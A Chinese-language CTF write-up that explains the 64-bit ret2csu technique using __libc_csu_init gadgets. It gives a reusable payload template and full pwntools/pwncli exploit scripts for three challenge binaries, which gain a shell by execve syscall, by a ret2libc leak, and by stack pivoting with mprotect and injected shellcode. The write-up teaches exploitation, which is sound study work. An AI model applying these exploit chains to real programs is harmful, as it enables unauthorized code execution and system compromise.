原理 严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi
, rsi
, rdx
, rcx
, r8
, r9
)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。
这时,我们可以利用程序中的 __libc_csu_init
(高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx
, rbp
, r12
, r13
, r14
, r15
以及 rdi
, rsi
, rdx
)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init
函数,通过这段万能 gadgets 控制程序的行为。
我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 400710 : 4 c 89 fa mov rdx, r15 400713 : 4 c 89 f6 mov rsi, r14 400716 : 44 89 ef mov edi, r13d 400719 : 41 ff 14 dc call qword ptr [r12 + 8 *rbx] 40071 d: 48 83 c3 01 add rbx, 0x1 400721 : 48 39 dd cmp rbp, rbx 400724 : 75 ea jne 0x400710 <__libc_csu_init+0x40 > 400726 : 48 83 c4 08 add rsp, 0x8 40072 a: 5b pop rbx 40072b : 5 d pop rbp 40072 c: 41 5 c pop r12 40072 e: 41 5 d pop r13 400730 : 41 5 e pop r14 400732 : 41 5f pop r15 400734 : c3 ret
这样的话
1 2 3 4 5 r13=rdx=arg3 r14=rsi=arg2 r15=edi=arg1 rbx=0 r12=call address
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def csu (addr,edi,rsi,rdx,last ): payload=off*b'a' payload+=p64(gadget1) payload+=p64(0 )+p64(1 ) payload+=p64(addr) payload+=p64(rdx)+p64(rsi)+p64(edi) payload+=p64(gadget2) payload+=b'a' *56 payload+=p64(last) return payload
对csu
模板的使用要分清情况
末尾的 padding('a' * 56
)是我们在没有进行jne
跳转,程序向下执行到add rsp,0x8
的时候这些需要进行栈平衡的数据。
如果我们只需要调用一个函数就不需要添加后面的padding
和last
,如果我们还需要调用一个地址就需要添加。
例题 [NewStarCTF 公开赛赛道]ret2csu1
拿到程序,先查保护。
发现开启了NX
保护和Partial RELRO
保护。
分析程序逻辑。
输出两串字符串,并向栈中写入 0x70 长度的数据。
根据栈大小比较,判断存在栈溢出。
gdb测一下,判断溢出填充长度为 40。
字符串列表,发现/bin/cat
和flag
关键字符串,但并没有发现system
函数。
函数窗口发现关键函数ohMyBackdoor
,判断可能为后门函数。
发现关键汇编指令syscall
,以及设置rax
值为 0x3b 的mov rax,0x3b
指令。
根据题目名称中的 ret2csu 判断为 ret2csu 打法,并且根据将寄存器置为 0x3b 的指令判断是通过 ret2csu 打 syscall。
我们需要通过执行libc_csu_init
函数中的 gadget 来设置寄存器值,但是我们只需要调用一个函数,所以我们不需要添加后面的padding
和last
。
通过csu
函数来设置寄存器值,然后调用中断地址进行 getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf off=40 gadget1=0x40072a gadget2=0x400710 syscall=0x601068 cat=0x4007bb flag=0x601050 payload=b'a' *off payload+=p64(gadget1)+p64(0 )+p64(0 )+p64(syscall)+p64(cat)+p64(flag)+p64(0 ) payload+=p64(gadget2) sa("it!\n" ,payload) ia()
2024极客大挑战 su~~~~
查保护,发现没有canary
和PIE
保护。
分析代码逻辑。
程序输入一个数字进行菜单选择。
首先我们跟进hint
函数查看。
hint
函数用于输出了一段字符串。
继续分析writesomething
函数。
很明显这里存在溢出,并且溢出了 368 个字节。
接下来我们寻找system
函数。
并没有找到system
函数,但是找到了puts
函数,并且程序还存在csu
函数。
到了这里思路已经很清晰了,我们可以通过csu
调用puts
函数进行 ret2libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc gadget1=0x4008FA gadget2=0x4008E0 rdi=0x0000000000400903 ret=0x00000000004005d6 off=136 ru("exit.\n" ) sl(b"1" )def csu (addr,edi,rsi,rdx,last ): payload=off*b'a' payload+=p64(gadget1) payload+=p64(0 )+p64(1 ) payload+=p64(addr) payload+=p64(edi)+p64(rsi)+p64(rdx) payload+=p64(gadget2) payload+=b'a' *56 payload+=p64(last) return payload payload=csu(elf.got.puts,elf.got.puts,elf.got.puts,8 ,0x400798 ) sl(payload) addr=u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print ("puts" ,hex (addr)) base=addr-libc.sym.putsprint ("base" ,hex (base)) sys=base+libc.sym.systemprint ("sys" ,hex (sys)) sh=base+next (libc.search("/bin/sh\x00" ))print ("sh" ,hex (sh)) payload=b'a' *off+p64(rdi)+p64(sh)+p64(ret)+p64(sys) sl(payload) ia()
[NewStarCTF 公开赛赛道]ret2csu2
查保护,发现没有栈溢出和 PIE 保护。
分析代码逻辑。
两次输出,一次输入。输入长度超过缓冲区大小,判断存在栈溢出。
并且函数都是通过系统调用执行的。
函数窗口发现关键函数
进入查看,发现mprotect
函数。
格式化字符串窗口没发现什么有用的东西。
根据题目名称,猜测是要我们打csu
,而且存在mprotect
函数,所以到这里思路已经很明显了。
我们可以通过read
函数读取 rop 链到bss
段,之后将栈迁移到bss
段执行 rop 链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc mprotect_got=elf.got.mprotect leave_ret=0x400681 gadget1=0x40075A gadget2=0x400740 first_ebp=0x601020 + 0xf0 lea_read=0x4006E7 payload = b"a" *0xf0 + p64(first_ebp) + p64(lea_read) ru("Remember to check it!" ) s(payload) payload2=p64(gadget1)+p64(0 )+p64(1 )+ p64(mprotect_got)+p64(0x601000 )+p64(0x1000 )+p64(0x7 )+ p64(gadget2) shellcode = asm(shellcraft.sh()) payload2 += b"a" *0x38 + p64(0x601020 +0x40 +0x38 +0x8 ) + shellcode + b"A" *(0xf0 -0x40 -0x38 -0x8 -0x30 ) + p64(0x601020 -0x8 ) + p64(leave_ret) sl(payload2) ia()